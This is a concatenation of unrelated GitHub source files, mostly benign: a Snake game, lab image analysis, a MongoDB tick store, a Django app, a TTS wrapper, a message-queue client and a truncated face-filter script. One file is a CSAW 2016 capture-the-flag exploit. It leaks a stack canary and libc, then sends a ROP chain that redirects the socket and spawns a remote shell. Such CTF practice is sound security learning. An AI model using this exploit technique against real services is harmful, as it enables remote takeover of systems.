pygame.display.set_caption('First game - Snake')\n\n self.gameState = GameState.MainMenu\n\n self.setGame()\n \n \n #Setup game elements\n def setGame(self):\n\n self.win = False\n\n #Setup snake\n self.snake = Snake()\n\n #Setup map\n self.map = Map((int)(screenWidth), (int)(screenHeight - heightOffset))\n self.map.field[0,0] = 1\n self.map.field[0,1] = 1\n self.map.field[0,2] = 2\n\n self.InsertFood()\n\n #Setup UI\n self.UI = GameUI()\n\n #Setup timer\n self.clock = pygame.time.Clock()\n\n #Update game loop\n def Update(self):\n\n #Check for events\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n\n #Check if game is done\n if self.win or not(self.snake.alive):\n self.Draw()\n elif self.snake.alive:\n\n #Update clock and timer\n self.clock.tick()\n self.timer -= self.clock.get_time()\n\n #Make a move when timer is 0\n if self.timer <= 0:\n self.Move()\n self.CheckWinCondition()\n self.Draw() \n\n #Update Snake\n self.snake.Update()\n \n pygame.display.update()\n pygame.display.flip()\n\n #Method which contains elements of making a move\n def Move(self):\n self.timer = self.startTimer\n\n if self.snake.LegalMove(self.map.field):\n self.snake.Move(self.map.field, self.food)\n if self.snake.ateFood:\n self.InsertFood()\n else:\n self.snake.alive = False \n\n def CheckWinCondition(self):\n\n emptySpaces = self.map.getFieldFree()\n if emptySpaces[0].size == 0:\n self.win = True\n\n #Method which is responsible for drawing all the elements\n def Draw(self):\n screen.fill((0, 0, 0))\n\n mapWidth = self.map.tileSizeX\n mapHeight = self.map.tileSizeY\n\n #Draw Food\n self.food.Draw(screen, self.map)\n\n #Draw Snake head\n headSnakePos = self.map.getFieldSnakeHead()\n pos = Position(headSnakePos[0][0] * mapWidth, headSnakePos[1][0] * mapHeight + heightOffset)\n self.snake.DrawHead(screen, pos)\n\n #Draw Snake Tail\n tailSnakePos = self.map.getFieldSnakeTail()\n count = (tailSnakePos[0].shape)[0]\n\n for x in range(count):\n self.snake.DrawTail(screen, Position(tailSnakePos[0][x] * mapWidth, tailSnakePos[1][x] * mapHeight + heightOffset))\n\n #Draw UI\n self.UI.DrawGame(screen, self.snake.alive)\n\n #Method responsible for putting food on the field\n def InsertFood(self):\n \n #Get empty spaces\n freeSpaces = self.map.getFieldFree()\n count = (freeSpaces[0].shape)[0]\n index = random.randint(0, count)\n \n self.map.field[freeSpaces[0][index], freeSpaces[1][index]] = 5\n\n self.food = Food(Position(freeSpaces[0][index], freeSpaces[1][index]))\n \nclass GameState(Enum):\n MainMenu = 1\n SnakeGame = 2\n\nmain = Main()\n\nwhile 1:\n main.Update()\n\n\n################################################################################################3\n\n#Update loop\n# while 1:\n# pygame.time.delay(10)\n\n\n# #Check for events\n# for event in pygame.event.get():\n# if event.type == pygame.QUIT:\n# sys.exit()\n\n # keys = pygame.key.get_pressed()\n\n # if keys[pygame.K_LEFT]:\n # x -= vel\n\n # if x < 0:\n # x = 0\n\n # if keys[pygame.K_RIGHT]:\n # x += vel\n\n # if x > screenWidth - playerWidth:\n # x = screenWidth - playerWidth\n\n # if keys[pygame.K_UP]:\n # y -= vel\n\n # if y < 0:\n # y = 0\n\n # if keys[pygame.K_DOWN]:\n # y += vel\n\n # if y > screenHeight - playerHeight:\n # y = screenHeight - playerHeight\n\n # screen.fill((0, 0, 0))\n\n # Wordt getekend vanuit linker bovenhoek\n # pygame.draw.rect(screen, (255, 0, 0), (x, y, playerWidth, playerHeight))\n\n # pygame.display.update()\n\n # for event in pygame.event.get():\n # if event.type == pygame.QUIT:\n # sys.exit()\n \n# screen.fill(black)\n# #screen.blit(...) - for drawing objects on the screen\n# pygame.display.flip()\n\n","repo_name":"JeffreyNeele/Snake","sub_path":"Files/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5615,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"25189377938","text":"#tForm_misalignment_checker.py\n\"\"\"\nidea is to make a script that can check if tForm wrong (likely because espec\ncamera was knocked)\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.signal as sig\nimport cv2\nfrom scipy.sparse import diags\n\nimport sys\nif '../../' not in sys.path: sys.path.append('../../')\n\nfrom lib.general_tools import *\nfrom setup import *\nfrom modules.Espec.Espec import *\n\ndef espec_warp(img, tform):\n \"\"\"written so can apply any tForm \n \"\"\"\n imgArea0=tform['imgArea0']\n H=tform['H']\n newImgsize=tform['newImgSize']\n imgArea1=tform['imgArea1']\n img=img-np.median(img)\n img=sig.medfilt2d(img, kernel_size=(3, 3))\n imgCountsPerArea=img/imgArea0\n imgCountsPerArea[imgArea0==0]=0\n imgCountsPerArea[np.isinf(imgCountsPerArea)]=0\n imgCountsPerArea[np.isnan(imgCountsPerArea)]=0\n img_out=cv2.warpPerspective(imgCountsPerArea, H, newImgsize)*imgArea1\n return img_out\n\n\n\n\n#%%\n# inspect a shot\n\ndiag = 'espec2'\ndate = '20210614'\nrun = 'run12'\nshot = 'Shot006'\nfile_ext = '.tif'\n\n# make spec obj - this will grab what should be the correct tForm file\nspec = Espec(date+'/'+run,shot_num=1,img_bkg=None,diag=diag)\n\n#tForm = load_object(spec.tForm_filepath)\n\nfilepath = ROOT_DATA_FOLDER + '/%s/%s/%s/%s%s' % (diag, date, run, shot, file_ext)\nimg = imread(filepath)\n\ntForm_filepath = choose_cal_file(date+'/'+run, shot, diag, diag+'_transform', cal_data_path=HOME + '/calib/')\n\n# check transform is correct by seeing whole image\ntForm = load_object(tForm_filepath)\n\n\n# plot whole image\nplt.figure()\n\nim_out2 = espec_warp(img, tForm)\n\nx_mm = tForm['x_mm']\ny_mm = tForm['y_mm']\nplt.imshow(im_out2,extent=(x_mm.min(), x_mm.max(), y_mm.max(), y_mm.min()),\n vmax=10)\nx_low, x_high = 0.0, 250.0\ny_low, y_high = 0.0, 59.0\nplt.plot([x_low, x_low, x_high, x_high], [y_low, y_high, y_high, y_low], 'r+')\nplt.title('Check: %s %s %s' % (date, run, shot))\n\n#%%\n# inspect a whole load of shots to check if its gone wrong\nfrom glob import glob\n\nhead = ROOT_DATA_FOLDER + '/' + diag +'/'\nall_dates = glob(head+'*/')\nall_runs = [glob(i+'*/') for i in all_dates]\n\nall_dates_clipped = [i[len(head):-1] for i in all_dates]\nall_runs_clipped = [[r[len(head)+len(d)+1:-1] for r in all_runs[idx]] for idx, d in enumerate(all_dates_clipped)]\nfile_ext = '.tif'\n\nall_dates = all_dates_clipped\nall_runs = all_runs_clipped\n\ndate_to_choose = '20210608'\n\nvmax= 10\n# iterate over all shots that day - plot for a random shot\nd_idx = all_dates.index(date_to_choose)\nfor r in all_runs[d_idx]:\n shots = glob('%s%s/%s/*%s' % (head, date_to_choose, r, file_ext))\n \n if len(shots)==0:\n pass\n else:\n filepath = np.random.choice(shots)\n shot = filepath[len(head)+len(date_to_choose)+len(r)+2:-len(file_ext)]\n \n plt.figure()\n img = imread(filepath)\n im_out2 = espec_warp(img, tForm)\n plt.imshow(im_out2,extent=(x_mm.min(), x_mm.max(), y_mm.max(), y_mm.min()),\n vmax=vmax)\n plt.plot([x_low, x_low, x_high, x_high], [y_low, y_high, y_high, y_low], 'r+')\n plt.title('Check: %s %s %s' % (date_to_choose, r, shot))\n\nplt.show()","repo_name":"ELos385/RadiationReaction2021Analysis","sub_path":"scripts/Espec/tForm_misalignment_checker.py","file_name":"tForm_misalignment_checker.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"16326667320","text":"import pymongo\n\n\nclass MongoDataStore(object):\n def __init__(self, db_name='TICKS', db_adress='localhost',db_port=27017):\n \"\"\"\n Save the ticks data to MongoDB\n\n :param db_name: name of the database in MongoDB\n :param db_adress: adress of your mongoDB instance\n \"\"\"\n self.database = self._connect_to_mongodb(db_name, db_adress, db_port)\n\n\n def _connect_to_mongodb(self, db_name, db_adress,port):\n \"\"\"\n\n :param db_name: name of the database in MongoDB\n :param db_adress: adress of your mongoDB instance\n :return: database's connection\n \"\"\"\n client = pymongo.MongoClient(db_adress,port=port)\n database = client[db_name]\n return database\n\n\n def recordTick(self,tick):\n \"\"\"\n Insert the tick data into th database\n :param tick: dict containing at least: (time,pair,bid,ask) data\n \"\"\"\n library = self.database['oanda']\n tick = {\"time\": tick['time'], \"pair\": tick[\"instrument\"], \"bid\": tick['bid'], \"ask\": tick['ask']}\n print(tick)\n\n try:\n library.insert_one(tick)\n except pymongo.errors.DuplicateKeyError:\n print(\"duplicate record: \",tick)\n except Exception as e:\n print(e)\n\n","repo_name":"JeromeMoreau/TickRecorder","sub_path":"app/data_store.py","file_name":"data_store.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"25551419660","text":"# Solution if the Linked list has unique values.\n\nfrom types import Optional\n\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def hasCycle(self, head: Optional[ListNode]) -> bool:\n stack = []\n while True:\n if not head:\n return False\n if not head.next:\n return False\n if head.val not in stack:\n stack.append(head.val)\n else:\n return True\n head = head.next\n\n# Simple solution stores all nodes and compares them\nclass Solution:\n def hasCycle(self, head: Optional[ListNode]) -> bool:\n stack = []\n while True:\n if not head:\n return False\n if not head.next:\n return False\n if head not in stack:\n stack.append(head)\n else:\n return True\n head = head.next\n\n# Effecient two pointers solution\nclass Solution:\n def hasCycle(self, head: Optional[ListNode]) -> bool:\n if not head or not head.next:\n return False\n slow = head\n fast = head.next\n while fast != slow:\n if not fast or fast.next is None:\n return False\n slow = slow.next\n fast = fast.next.next\n return True\n","repo_name":"Noman-Tanveer/leetcode-problems","sub_path":"41.detect_cycle_In_linked_list/detect_cycle_linked_list.py","file_name":"detect_cycle_linked_list.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"26196979315","text":"#!/usr/bin/env python\nfrom bs4 import BeautifulSoup\nimport requests\nimport json\nfrom generic import *\n\ndef find_all_expertises_on_page(page):\n with open('aoe1.html') as fp:\n soup = BeautifulSoup(fp, 'html.parser')\n\n expertises = []\n\n card_holder = soup.find('div', attrs={'data-name':'expertise'})\n for card in card_holder.find_all('div', class_='card'):\n print(card.a['href'])\n url = card.a['href']\n expertises.append(url)\n\n return expertises\n\ndef populate_exertise(url):\n print(url)\n r = requests.get(url)\n r.raise_for_status()\n e = {}\n soup = BeautifulSoup(r.text, 'html.parser')\n main = soup.main\n e['name'] = main.article.header.text.strip()\n\n # description\n description = \"\"\n aka_tag = main.article.find('p', class_='text-callout')\n description_tags = main.article.find('p')\n if aka_tag:\n e['aka'] = aka_tag.string\n description_tags = aka_tag.next_siblings\n for tag in description_tags:\n if(tag.string):\n description += tag.string\n e['description'] = description\n e['conditions_treated'] = find_conditions(main)\n e['treatments'] = find_treatments(main)\n e['providers'] = find_providers(main)\n e['locations'] = find_locations(main)\n return e\n\n\n\npages = ['aoe1.html', 'aoe2.html']\n\nexpertise_urls = []\nfor page in pages:\n expertise_urls += find_all_expertises_on_page(page)\n\nexpertises = {}\nfor url in expertise_urls:\n expertises[url] = populate_exertise(url)\n\nwith open('expertise.json', 'w') as fp:\n json.dump(expertises, fp)\n","repo_name":"utecht/DEMOApp","sub_path":"orbweaver/expertises.py","file_name":"expertises.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9779401000","text":"# Thanks Naftuli Kay\n# https://www.toptal.com/python/an-introduction-to-mocking-in-python\n\nimport socket\nfrom unittest import mock\nimport unittest\n\nimport sock\nfrom sock import Client\n\nclass ClientTestCase(unittest.TestCase):\n @mock.patch.object(Client, '_make_contact_with', autospec=True)\n def test_socket(self, mock_contact_with):\n client = Client(('localhost', 11111))\n self.assertEqual(client.watson_office_addr, ('localhost', 11111))\n\n client._make_contact_with()\n mock_contact_with.assert_called_with(client)\n # ...\n\n @mock.patch.object(Client, '_make_contact_with')\n def test_socket2(self, mock_contact_with):\n client = Client(('localhost', 11111))\n self.assertEqual(client.watson_office_addr, ('localhost', 11111))\n\n client._make_contact_with()\n mock_contact_with.assert_called_with()\n mock_contact_with.assert_called_with(client)\n mock_contact_with.assert_called_with(None)\n # ??? Pay attention to autospec=True or not !!!\n\n @mock.patch.object(socket, 'socket', autospec=True)\n def test_socket2(self, mock_socket):\n watson_office_addr = ('localhost', 11111)\n client = Client(watson_office_addr)\n self.assertEqual(client.watson_office_addr, watson_office_addr)\n\n client._make_contact_with()\n mock_socket.assert_called_with(socket.AF_INET, socket.SOCK_STREAM)\n client._tcp_sock.connect.assert_called_with(watson_office_addr)\n self.assertIsInstance(client._tcp_sock, type(mock_socket.return_value))\n\n # use with statement\n def test_socket4(self):\n watson_office_addr = ('localhost', 11111)\n with mock.patch.object(sock.socket, 'socket') as mock_socket:\n c = Client(watson_office_addr)\n self.assertEqual(c.watson_office_addr, watson_office_addr)\n\n c._make_contact_with()\n mock_socket.assert_called_with(socket.AF_INET, socket.SOCK_STREAM)\n c._tcp_sock.connect.assert_called_with(watson_office_addr)\n self.assertIsInstance(c._tcp_sock, type(mock_socket.return_value))\n\n @mock.patch.object(sock.socket.socket, 'connect')\n def test_socket5(self, mock_connect):\n watson_office_addr = ('localhost', 11111)\n c = Client(watson_office_addr)\n self.assertEqual(c.watson_office_addr, watson_office_addr)\n\n # socket.socket() return a socket object\n c._make_contact_with()\n self.assertIsInstance(c._tcp_sock, sock.socket.socket)\n mock_connect.assert_called_once_with(watson_office_addr)\n\n # clean up because we got a real socket object.\n c._tcp_sock.close()\n\n def test_socket7(self):\n watson_office_addr = ('localhost', 11111)\n patcher = mock.patch('sock.Client', autospec=True, watson_office_addr=watson_office_addr)\n mock_client = patcher.start()\n self.assertIsInstance(mock_client, Client)\n self.assertEqual(mock_client.watson_office_addr, watson_office_addr)\n\n mock_client._make_contact_with_raise()\n mock_client._make_contact_with_raise.assert_called_with()\n # absolutely no call client._make_contact_with_raise()\n # so difficult to understand it !\n\n mock_client = patcher.stop()\n","repo_name":"umedoblock/umatobi","sub_path":"umatobi/mock_studying/test_sock.py","file_name":"test_sock.py","file_ext":"py","file_size_in_byte":3257,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"26735148780","text":"from pwn import *\n\ncontext(arch='amd64', os='linux')\ncontext.log_level =False\n\n\nbinary = ELF('tutorial')\nlibc = ELF('libc-2.19.so') #used to by rop\ncanary = 0x0\n\n\nconn = remote('pwn.chal.csaw.io', 8002)\n\n\ndef calcLibcAddress():\n\n conn.recvuntil('>')\n conn.sendline('1'); ## this will\n\n puts_addr = conn.recvline().split(':')[1]\n #do string manipulation, 0x500 was subtracted from puts in the binary\n puts_addr = int(puts_addr, 16) + 0x500\n #god damn pwn tools is nice.\n libc.address = puts_addr - libc.symbols['puts']\n\n print ('\\nLibc Address: 0x%x\\n\\n' % libc.address)\n\n\n #======LETS FIND THE CANARY========\ndef getCanary():\n conn.recvuntil(\">\")\n conn.sendline('2')\n\n conn.recvuntil('>')\n #send empty line\n conn.sendline()\n\n #get the crap\n canary = conn.recv(0x144)[0x138:0x138 + 0x8]\n\n print (\"\\nCanary: 0x%s \\n\\n\" % canary.encode('hex') )\n return canary\n\n\n\n #========I'M SALIVATING ========\ndef honeyGetMeTheRop():\n rop = ROP([binary, libc])\n # dup2 will be used to redirect stdin/out to the socket\n\n #uses the two binarys to build rop chains\n #rop.raw() is used to build stack frames\n # dup2(4, 0)\n rop.raw(rop.find_gadget(['pop rdi', 'ret']))\n rop.raw(0x4)\n rop.raw(rop.find_gadget(['pop rsi', 'ret']))\n rop.raw(0x0)\n rop.raw(libc.symbols['dup2'])\n\n # dup2(4, 1)\n rop.raw(rop.find_gadget(['pop rsi', 'ret']))\n rop.raw(0x1)\n rop.raw(libc.symbols['dup2'])\n\n FLAGS_OUT_FOR_HARAM_BASH = next(libc.search('/bin/sh'))\n\n rop.system(FLAGS_OUT_FOR_HARAM_BASH)\n\n return rop\n\n##==========HONEY I OVERWROTE THE KIDS============\ndef theKidsWereMemoryLeaksAnyways(canary, rop):\n conn.recvuntil('>')\n conn.sendline('2')\n conn.recvuntil('>')\n #0x138 = 312 & 312/4 = 78\n exploit = 'Meme' * 78 + canary + 'Meme' *2 + bytes(rop)\n conn.sendline(exploit)\n conn.interactive()\n\n\nif __name__ == \"__main__\":\n calcLibcAddress()\n canary = getCanary()\n rop = honeyGetMeTheRop()\n theKidsWereMemoryLeaksAnyways(canary, rop)\n","repo_name":"mpaxson/ctf","sub_path":"csaw2016/pwn/tutorial-200/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"11"} +{"seq_id":"35145205128","text":"from django.urls import path\n\nfrom Product_App import views\n\napp_name = 'Product_App'\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('reservation/', views.reservation, name='reservation'),\n path('ur_reserve/', views.ur_reserve, name='ur_reserve'),\n path('menus/', views.menu_list, name='menus'),\n path('orders/', views.orders, name='orders'),\n\n # Cart\n path('cart/add//', views.cart_add, name='cart_add'),\n path('cart/item_clear//', views.item_clear, name='item_clear'),\n path('cart/item_increment//',\n views.item_increment, name='item_increment'),\n path('cart/item_decrement//',\n views.item_decrement, name='item_decrement'),\n path('cart/cart_clear/', views.cart_clear, name='cart_clear'),\n path('cart/cart-detail/', views.cart_detail, name='cart_detail'),\n]\n","repo_name":"promaprogga/Restaurant-management-system","sub_path":"Product_App/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71666099229","text":"\"\"\"Text to speech\"\"\"\nimport io\nimport os\nfrom abc import ABC, abstractmethod\nfrom typing import Any, Optional\n\nfrom google.cloud import texttospeech\nfrom pydantic import BaseModel\nfrom pydub import AudioSegment\nfrom pydub.playback import play\n\nfrom languageassistant.utils import country_codes\n\n\nclass BaseTTS(BaseModel, ABC):\n \"\"\"Abstract base tts model\"\"\"\n\n language: str\n \"\"\"TTS input language name [see Supported Languages]\"\"\"\n\n @abstractmethod\n def run(self, tts_input: str) -> None:\n \"\"\"Converts tts input in language to audio with playback on speaker\"\"\"\n\n\nclass TTS(BaseTTS):\n \"\"\"Multilingual text-to-speech using the Google TTS API\"\"\"\n\n client: Optional[texttospeech.TextToSpeechClient] = None\n \"\"\"Google TTS client\"\"\"\n voice_gender: int = texttospeech.SsmlVoiceGender.NEUTRAL\n \"\"\"TTS voice gender\"\"\"\n audio_config: Optional[texttospeech.AudioConfig] = None\n \"\"\"Audio config for return encoding type (MP3)\"\"\"\n\n class Config:\n arbitrary_types_allowed = True\n\n @property\n def voice(self) -> texttospeech.VoiceSelectionParams:\n \"\"\"Select TTS voice from language and gender\"\"\"\n return texttospeech.VoiceSelectionParams(\n {\n \"language_code\": country_codes[self.language],\n \"ssml_gender\": self.voice_gender,\n }\n )\n\n def __init__(self, **kwargs: Any) -> None:\n super().__init__(**kwargs)\n if \"client\" not in kwargs:\n self.client = texttospeech.TextToSpeechClient(\n client_options={\"api_key\": os.getenv(\"GOOGLE_API_KEY\")}\n )\n if \"audio_config\" not in kwargs:\n self.audio_config = texttospeech.AudioConfig(\n {\"audio_encoding\": texttospeech.AudioEncoding.MP3}\n )\n\n def _text_to_mp3(self, tts_input: str) -> bytes:\n \"\"\"Convert input text to mp3 bytes\"\"\"\n synthesis_input = texttospeech.SynthesisInput({\"text\": tts_input})\n assert isinstance(self.client, texttospeech.TextToSpeechClient)\n response = self.client.synthesize_speech(\n input=synthesis_input, voice=self.voice, audio_config=self.audio_config\n )\n return response.audio_content\n\n def run(self, tts_input: str) -> None:\n \"\"\"Convert tts to audio and output to speaker\"\"\"\n mp3_bytes = self._text_to_mp3(tts_input)\n mp3_buffer = io.BytesIO(mp3_bytes)\n audio = AudioSegment.from_file(mp3_buffer, format=\"mp3\")\n play(audio)\n","repo_name":"dagleaves/languageassistant","sub_path":"languageassistant/tts.py","file_name":"tts.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"20261171691","text":"def maior(* num):\n cont = maio = 0\n print('Analisando os números...')\n for v in num:\n print(f'{v} ', end='')\n if cont == 0:\n maio = v\n else:\n if v > maio:\n maio = v\n cont += 1\n print(f'Foram informados {cont} números..')\n print(f'O maior número é {maio}')\n print('-=' * 30)\n\nmaior(1,5,3,5,8)\nmaior(2,4,1)\nmaior(92,56,23,12,3)\nmaior()\n","repo_name":"kauanvalongo/Python","sub_path":"PythonExercicios/ex099.py","file_name":"ex099.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8889207270","text":"import hashlib\nimport json\nfrom dataclasses import dataclass\nfrom datetime import datetime\nfrom enum import Enum\nfrom typing import Any, Optional\n\nfrom pyservice import ServiceException, client\n\n\nclass MsgqErrorCode(Enum):\n \"\"\"\n Represents the error codes for the message queue service.\n \"\"\"\n DATABASE_CONSTRAINT = 'ERROR_DATABASE_CONSTRAINT'\n MSGQ_STATE = 'ERROR_MSGQ_STATE'\n\n\nclass DatabaseConstraintException(ServiceException):\n \"\"\"\n Indicates a database constraint has been violated.\n\n :param inner: The inner exception.\n :type inner: Exception\n \"\"\"\n\n def __init__(self, message: str):\n super(DatabaseConstraintException, self).__init__(\n MsgqErrorCode.DATABASE_CONSTRAINT, message)\n\n\nclass StateException(ServiceException):\n \"\"\"\n Indicates the state of the queue is invalid.\n\n \"\"\"\n\n def __init__(self, message: str):\n super(StateException, self).__init__(MsgqErrorCode.MSGQ_STATE, message)\n\n\nclass VerificationError(Exception):\n \"\"\"\n Indicates a message failed verification.\n \"\"\"\n\n def __init__(self, csid: str):\n super(VerificationError, self).__init__(\n f'Verification failed for message with ID {csid}')\n self.csid = csid\n\n\nclass Status(Enum):\n \"\"\"\n Represents the status of a message in the queue.\n \"\"\"\n QUEUED = 1\n PROCESSING = 2\n ARCHIVED = 3\n ABANDONED = 4\n CANCELLED = 5\n\n\n@dataclass\nclass Message:\n \"\"\"\n Represents a message in the queue.\n\n :param csid: The checksum ID of the message.\n :type csid: ChecksumID\n :param payload: The message payload.\n :type payload: bytes\n :param status: The status of the message.\n :type status: Status\n :param when_pushed: The date/time the message was pushed onto the queue.\n :type when_pushed: datetime\n :param when_deleted: The date/time the message was deleted from the queue.\n :type when_deleted: datetime\n :param when_delivered: The date/time the message was delivered.\n :type when_delivered: datetime\n :param when_error: The date/time the message encountered an error.\n :type when_error: datetime\n :param num_attempts: The number of times the message has been attempted.\n :type num_attempts: int\n :param last_error: The last error that occurred.\n :type last_error: str\n \"\"\"\n\n csid: str\n payload: bytes\n status: Status\n when_pushed: datetime\n when_deleted: Optional[datetime]\n when_delivered: Optional[datetime]\n when_error: Optional[datetime]\n num_attempts: int\n last_error: Optional[str]\n\n @staticmethod\n def from_dictionary(dictionary: dict[str, Any]) -> 'Message':\n \"\"\"\n Creates a message from a dictionary.\n\n :param dictionary: The dictionary to create the message from.\n :type dictionary: dict\n :return: The created message.\n :rtype: Message\n \"\"\"\n return Message(\n csid=dictionary['csid'],\n payload=dictionary['payload'].encode('utf-8'),\n status=Status[dictionary['status']],\n when_pushed=datetime.fromisoformat(dictionary['when_pushed']),\n when_deleted=(datetime.fromisoformat(dictionary['when_deleted'])\n if dictionary['when_deleted'] is not None else None),\n when_delivered=(datetime.fromisoformat(dictionary['when_delivered'])\n if dictionary['when_delivered'] is not None else None),\n when_error=(datetime.fromisoformat(dictionary['when_error'])\n if dictionary['when_error'] is not None else None),\n num_attempts=dictionary['num_attempts'],\n last_error=dictionary['last_error']\n )\n\n def verify(self) -> None:\n \"\"\"\n Verifies the message.\n\n :return: None\n :rtype: None\n :raises VerificationError: The message failed verification.\n \"\"\"\n if hashlib.sha256(self.payload, usedforsecurity=False).hexdigest() != self.csid:\n raise VerificationError(self.csid)\n\n\nclass Service:\n def __init__(self, endpoint: str) -> None:\n self.endpoint = endpoint\n\n async def push(self, payload: str) -> None:\n \"\"\"\n Pushes a payload to the queue.\n\n :param payload: The payload to push to the queue.\n :type payload: str\n :return: None\n :rtype: None\n :raises DatabaseConstraintException: The given payload is already\n in the queue.\n \"\"\"\n try:\n await client.call(self.endpoint, 'push', [payload])\n except ServiceException as e:\n if e.error_code == MsgqErrorCode.DATABASE_CONSTRAINT:\n raise DatabaseConstraintException(e.args[0]) from e\n else:\n raise\n\n async def process(self) -> Optional[tuple[str, str]]:\n \"\"\"\n Processes the next message in the queue.\n\n :return: The message ID and payload.\n :rtype: Optional[(str, str)]]\n \"\"\"\n response = await client.call(self.endpoint, 'process', [])\n assert len(response) == 0 or len(response) == 2, \\\n f'expected 0 or 2 elements in response, got {len(response)}'\n if len(response) == 2:\n return (response[0], response[1])\n else:\n return None\n\n async def archive(self, message_id: str) -> None:\n \"\"\"\n Archives the message with the given ID. The message must be in the\n PROCESSING state.\n\n :param message_id: The ID of the message to archive.\n :type message_id: str\n :return: None\n :rtype: None\n :raises StateException: The message is not in the queue or not in\n the PROCESSING status.\n \"\"\"\n try:\n await client.call(self.endpoint, 'archive', [message_id])\n except ServiceException as e:\n if e.error_code == MsgqErrorCode.MSGQ_STATE:\n raise StateException(e.args[0]) from e\n else:\n raise\n\n async def fail(self, id: str, reason: str) -> None:\n \"\"\"\n Fails the message with the ID for the specified reason. The message\n must be in the PROCESSING state.\n\n :param id: The ID of the message to fail.\n :type id: str\n :param reason: The reason for the failure.\n :type reason: str\n :return: None\n :rtype: None\n :raises StateException: The message is not in the queue or not in\n the PROCESSING status.\n \"\"\"\n try:\n await client.call(self.endpoint, 'fail', [id, reason])\n except ServiceException as e:\n if e.error_code == MsgqErrorCode.MSGQ_STATE:\n raise StateException(e.args[0]) from e\n else:\n raise\n\n async def cancel(self, message_id: str) -> None:\n \"\"\"\n Cancels the message with the given ID. The message must be in the\n QUEUED state.\n\n :param message_id: The ID of the message to cancel.\n :type message_id: str\n :return: None\n :rtype: None\n :raises StateException: The message is not in the queue or not in\n the QUEUED status.\n \"\"\"\n try:\n await client.call(self.endpoint, 'cancel', [message_id])\n except ServiceException as e:\n if e.error_code == MsgqErrorCode.MSGQ_STATE:\n raise StateException(e.args[0]) from e\n else:\n raise\n\n async def abandon(self, message_id: str, reason: str) -> None:\n \"\"\"\n Abandons the message with the given ID. The message must be in the\n PROCESSING state.\n\n :param message_id: The ID of the message to abandon.\n :type message_id: str\n :param reason: The reason for the abandonment.\n :type reason: str\n :return: None\n :rtype: None\n :raises StateException: The message is not in the queue or not in\n the PROCESSING status.\n \"\"\"\n try:\n await client.call(self.endpoint, 'abandon', [message_id, reason])\n except ServiceException as e:\n if e.error_code == MsgqErrorCode.MSGQ_STATE:\n raise StateException(e.args[0]) from e\n else:\n raise\n\n async def find_by_status(self, status: list[Status]) -> list[Message]:\n \"\"\"\n Finds all messages with the given status.\n\n :param status: The status of the messages to find.\n :type status: [Status]\n :return: The messages with the given status.\n :rtype: list[Message]\n \"\"\"\n response = await client.call(self.endpoint, 'find_by_status', [s.name for s in status])\n return [Message.from_dictionary(json.loads(message)) for message in response]\n\n async def find(self, message_id: str) -> Optional[Message]:\n response = await client.call(self.endpoint, 'find', [message_id])\n return Message.from_dictionary(json.loads(response[0])) if len(response) > 0 else None\n","repo_name":"deadlytoah/agent","sub_path":"proxy/msgq.py","file_name":"msgq.py","file_ext":"py","file_size_in_byte":9106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12492247253","text":"import cv2\nfrom matplotlib import pyplot as plt\nimport os\nimport numpy as np\n\ndef apply_snapchat_filter(img):\n # Load the pre-trained face detection model\n haar_file = os.path.join(os.path.dirname(cv2.__file__), 'data', 'haarcascade_frontalface_default.xml')\n face_cascade = cv2.CascadeClassifier(haar_file)\n\n # Convert the image to grayscale\n img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # Detect faces in the image\n faces = face_cascade.detectMultiScale(img_gray, 1.3, 5)\n\n # Create a copy of the original image\n img_out = img.copy()\n\n # Draw a rectangle around each detected face and make it bigger\n for (x, y, w, h) in faces:\n # Calculate the new dimensions of the face region\n new_w = int(w * 1.5)\n new_h = int(h * 1.5)\n new_x = x - int((new_w - w) / 2)\n new_y = y - int((new_h - h) / 2)\n\n # Ensure that the new coordinates and dimensions are within the image bounds\n new_x = max(new_x, 0)\n new_y = max(new_y, 0)\n new_w = min(new_w, img.shape[1] - new_x)\n new_h = min(new_h, img.shape[0] - new_y)\n\n # Resize and copy the face region to the output image\n face_resized = cv2.resize(img[y:y+h, x:x+w], (new_w, new_h))\n img_out[new_y:new_y+new_h, new_x:new_x+new_w] = face_resized\n\n return img_out\n\n\ndef apply_spiral_cheeks_filter(img):\n # Load the pre-trained face detection model\n face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + \"haarcascade_frontalface_default.xml\")\n\n # Convert the image to grayscale\n img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # Detect faces in the image\n faces = face_cascade.detectMultiScale(img_gray, 1.3, 5)\n\n # Create a copy of the original image\n img_out = img.copy()\n\n # Define the parameters for the spiral\n radius = 4\n thickness = 1\n color = (0, 255, 0) # bright red\n num_turns = 4\n\n # Draw a spiral on each cheek\n for (x, y, w, h) in faces:\n # Calculate the center of the left and right cheeks\n 